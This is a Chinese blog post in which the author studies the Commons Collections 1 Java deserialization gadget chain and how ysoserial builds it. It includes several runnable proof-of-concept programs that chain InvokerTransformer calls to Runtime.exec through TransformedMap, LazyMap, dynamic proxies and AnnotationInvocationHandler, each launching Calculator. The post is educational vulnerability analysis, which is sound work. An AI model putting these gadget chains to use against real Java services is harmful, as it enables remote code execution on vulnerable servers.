qiqing's Blog.

反序列化学习之分析ysoserial

字数统计: 3k阅读时长: 13 min
2020/03/09 Share

反序列化学习之分析ysoserial

上篇学习了反序列化的过程,这篇学习反序列化漏洞是如何产生的。

本篇分成2部分,第一部分, CommonsCollections1的漏洞利用,第二部分,ysoserial是如何产生Gadget的

CommonsCollections1 漏洞利用

Apache Commons Collections是一个扩展了Java标准库里的Collection结构的第三方基础库,它提供了很多强有力的数据结构类型并且实现了各种集合工具类。作为Apache开源项目的重要组件,Commons Collections被广泛应用于各种Java应用的开发。
它是一个基础数据结构包,同时封装了很多功能,其中我们需要关注一个功能:

  • Transforming decorators that alter each object as it is added to the collection
  • 转化装饰器:修改每一个添加到collection中的object

Commons Collections实现了一个TransformedMap类,该类是对Java标准数据结构Map接口的一个扩展。该类可以在一个元素被加入到集合内时,自动对该元素进行特定的修饰变换,具体的变换逻辑由Transformer类定义,Transformer在TransformedMap实例化时作为参数传入。
org.apache.commons.collections.Transformer这个类可以满足固定的类型转化需求,其转化函数可以自定义实现,我们的漏洞触发函数就是在于这个点。

这里需要着重说下Transformer和他相关的类

这里先贴一段代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package ysoserial.ceshi;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.lang.Runtime;
public class transformer {
public static void main(String[] args)
{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator",}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
transformerChain.transform(null);
}
}

首先先构建了一个Transformer数组,Transformer是一个接口,他定义的数组都是继承这个接口的类,进入这个数组,进入第一个元素。

image-20200314114214009

ConstantTransformer类在实例化时,会将传入的对象赋值给iConstant,然后在实现Transformer的接口方法中,会返回这个类,之后进入InvokerTransformer类。

image-20200314120309474

目前需要关注的是methodName这个参数,这里iMethodName是getMethod,在transform接口方法中,实现的是反射操作,假设input是runtime对象,那返回的就是反射调用的Java.lang.Runtime中的getRuntime()方法。

这里引出一个新的问题,反射如何调用exec执行命令?

1
2
3
4
5
6
7
8
9
10
11
12
package ysoserial.ceshi;
import java.lang.reflect.Method;
public class fanshe {

public static void main(String[] args) throws Exception
{
Class run = Class.forName("java.lang.Runtime");
Method getrun = run.getMethod("getRuntime");
Method exec = run.getMethod("exec",String.class);
exec.invoke(getrun.invoke(run),"/System/Applications/Calculator.app/Contents/MacOS/Calculator");
}
}

反射调用需要获取类的名字,一般用Class.fotname获取,之后从这个类中使用getMethod获取需要调用的方法,最后用invoke方法调用这个方法,这里以Runtime类为例子,首先获取Runtime类的类名,然后获取getRuntime静态方法,因为Runtime类的构造函数是私有方法,只能用getRuntime方法获取类的实例,之后获取Runtime的exec方法,这个方法是执行命令的方法,也需要获取,exec不是静态方法,在invoke方法中需要传入object,所以,需要先调用getrun生成Runtime的对象,getRuntime方法是静态方法,他在调用invoke需要传入的是类名,反射调用时,满足以上条件后就能弹出计算器。

回到Transformer数组中,假设,继承transformers接口的对象,他们的transform方法返回的值能从上到下传递,那第一个ConstantTransformer类返回的是Runtime类,之后进入new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},new Object[]{"getRuntime", new Class[0]})

在InvokerTransformer中,明明就有getMetod,这里为啥要传入getMethod呢,因为在InvokerTransformer,需要传入2个参数,但是Runtime是无参数的,所以,需要变动一下。ps:那如果不用Runtime呢,使用ProcessBuilder行不行呢

最后介绍一下ChainedTransformer类

image-20200315154630827

没啥好说的,就是一个完美的工具类,调试一遍transform方法,看下利用链是如何触发的。

image-20200315154905233

第一次进入循环,返回的是java.lang.Runtime.class对象。

image-20200315155031299

第二次进入循环,getClass方法返回一个Class对象,之后用getMethod方法调用Class对象的getMethod方法,有点绕口,这里可以看成是反射调用反射,因为getMethod方法需要2个参数所以需要传入new Class[]{} ,最后返回getMethod.invoke(java.lang.Runtime,”getRuntime”),getMethod返回的方法,这里相当于返回java.lang.Runtime.getRuntime,接下来是调用这个方法。

image-20200315160207143

第三次进入循环,因为input是一个方法,getClass方法返回的是一个Method对象,之后获取Method对象的invoke方法,这个invoke方法也是需要2个参数,也需要传入new Class{},最后相当于是invoke.invoke(java.lang.Runtime.getRuntime,null),返回了一个Runtime对象。

image-20200315160627726

第四次进入循环,input是一个Runtime对象,回到最初的反射调用,命令执行成功,这里可能会有同学要问了:

为啥不这样执行呢?

image-20200315161229493

因为Java.lang.Runtime这个对象不能被反序列化,所以不能这么执行。

核心的利用链明白了,还需要明白如何被调用的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
package ysoserial.ceshi;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
public class commonsCollectionsCeshi1 {
public static void main(String[] args) throws Exception {
//此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
//将transformers数组存入ChaniedTransformer这个继承类
Transformer transformerChain = new ChainedTransformer(transformers);
//创建Map并绑定transformerChina
Map innerMap = new HashMap();
innerMap.put("value", "value");
//给予map数据转化链
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
//触发漏洞
Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
//outerMap后一串东西,其实就是获取这个map的第一个键值对(value,value);然后转化成Map.Entry形式,这是map的键值对数据格式
onlyElement.setValue("foobar");
}
}

这里需要了解TransformedMap类

image-20200315175531570

decorate方法是返回一个TransformedMap对象,其中valueTransformer是我们传入的Transformer数组,在TransformedMap类里还有一个很重要的函数

image-20200315201111436

在setValue的时候就会触发这个函数,进入我们之前的利用链,map选择hashmap,因为他继承了反序列化接口,现在还需要一个readobject里面会调用setValue的入口来调用pop链,在jdk 7,这个入口就是sun.reflect.annotation.AnnotationInvocationHandler。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
package ysoserial.ceshi;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Annotation;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
//import sun.reflect.annotation.AnnotationInvocationHandler;
import sun.reflect.annotation.AnnotationParser;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;

public class commonsCollectionsCeshi1 {
public static void main(String[] args) throws Exception {
//此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
//将transformers数组存入ChaniedTransformer这个继承类
Transformer transformerChain = new ChainedTransformer(transformers);
//创建Map并绑定transformerChina
Map innerMap = new HashMap();
innerMap.put("value", "value");
//给予map数据转化链
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
//触发漏洞
Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
//outerMap后一串东西,其实就是获取这个map的第一个键值对(value,value);然后转化成Map.Entry形式,这是map的键值对数据格式
//onlyElement.setValue("foobar");
//反射机制调用AnnotationInvocationHandler类的构造函数
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
//取消构造函数修饰符限制
ctor.setAccessible(true);
//获取AnnotationInvocationHandler类实例
Object instance = ctor.newInstance(Retention.class, outerMap);
FileOutputStream f = new FileOutputStream("p.cer");
ObjectOutputStream out = new ObjectOutputStream(f);
out.writeObject(instance);
FileInputStream fi = new FileInputStream("p.cer");
ObjectInputStream in = new ObjectInputStream(fi);
in.readObject();
}
}

构造函数里面有需要var1为注解类和Map,构造类的时候需要注意

image-20200315210101712

image-20200315210448414

this.memberValues就是我们传入的map对象,在readobject中和我们上面的pop链完全相同,完美。

明白了CommonsCollections1的pop链之后,可以分析在ysoserial中,这个gadget是怎么生成的

ysoserial是如何产生Gadget的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public InvocationHandler getObject(final String command) throws Exception {
final String[] execArgs = new String[] { command };
// inert chain for setup
Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs)
//new ConstantTransformer(1)
};

final Map innerMap = new HashMap();

final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

return handler;
}

前面和之前分析的没什么区别,关键是后面的4句代码。

1
2
3
4
5
6
7
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

Reflections.setFieldValue(transformerChain, "iTransformers", transformers);

这里没有选择TransformedMap而是选择了LazyMap,LazyMap的利用链和TransformedMap的利用链不一样,——从这里开始需要重新跟了,跟进LazyMap.decorate

image-20200315225934752

LazyMap的decorate方法设置了map和this.factory,在Lazymap中能触发Transformer链的是get方法

image-20200316223817901

LazyMap.get可以在AnnotationInvocationHandler.invoke中被调用,这里真是奇妙,只要给LazyMap设置动态代理,LazyMap调用方法的时候就能调用invoke,而AnnotationInvocationHandler的readobject中又调用了LazyMap.entrySet方法,最后需要将map传入AnnotationInvocationHandler的构造函数中,反序列化AnnotationInvocationHandler,整条利用链就算完成了。

image-20200316231733894

image-20200316232025964

写一个例子,亲测能弹计算器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
    public static void m() throws Exception
{
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
//将transformers数组存入ChaniedTransformer这个继承类
Transformer transformerChain = new ChainedTransformer(transformers);
final Map innerMap = new HashMap();

final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
String classToSerialize = "sun.reflect.annotation.AnnotationInvocationHandler";
final Constructor<?> constructor = Class.forName(classToSerialize).getDeclaredConstructors()[0];
constructor.setAccessible(true);
InvocationHandler secondInvocationHandler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);

final Map testMap = new HashMap();

Map evilMap = (Map) Proxy.newProxyInstance(
testMap.getClass().getClassLoader(),
testMap.getClass().getInterfaces(),
secondInvocationHandler
);

// 创建完动态代理后,如果直接调用evilMap.entrySet()就会弹出计算器
evilMap.entrySet();

}

回到ysoserial中,Gadgets.createMemoitizedProxy方法其实就是创建动态代理,返回的值就是上面的evilMap。

image-20200316232138882

Gadgets.createMemoizedInvocationHandler方法和第一条利用链生成AnnotationInvocationHandler的实例是一样的。

image-20200316232257967

image-20200316232459416

最后Reflections.setFieldValue(transformerChain, "iTransformers", transformers);是修改transformChain的iTransformers的值,将它替换成Transformer利用链,网上许多文章都说之前塞的一个无用的Transformer是为了防止生成payload的过程中执行命令,不知道是不是真的,总之,我在cc1这个链子的构造过程中,没发现有什么用。

上面并没有反序列化,只是返回了一个AnnotationInvocationHandler实例,最后,在GeneratePayload.main或者PayloadRunner.run中被反序列化输出或者调用。

image-20200316234518557

总结

2条利用链的分析,大概花了一周的时间,因为有太多好的文章在前面躺坑,所以,我基本没怎么踩坑,感谢前辈。

分析ysoserial中的CommonsCollections1目前了解:

1、动态代理技术

2、反射技术

3、Java转换器的源码分析(感觉在分析json库的反序列化的时候,能提供帮助)

4、pop链的构造

5、ysoserial的gadget类,创建动态代理

6、ysoserial生成payload的一些方式

参考:

https://www.cnblogs.com/tr1ple/p/12437310.html

https://www.iswin.org/2015/11/13/Apache-CommonsCollections-Deserialized-Vulnerability/

http://p0desta.com/2019/08/24/ysoserial%E4%B8%ADgadgets%E8%A7%A3%E8%AF%BB/

https://xz.aliyun.com/t/7031

CATALOG
  1. 1. 反序列化学习之分析ysoserial
    1. 1.0.1. CommonsCollections1 漏洞利用
    2. 1.0.2. ysoserial是如何产生Gadget的
    3. 1.0.3. 总结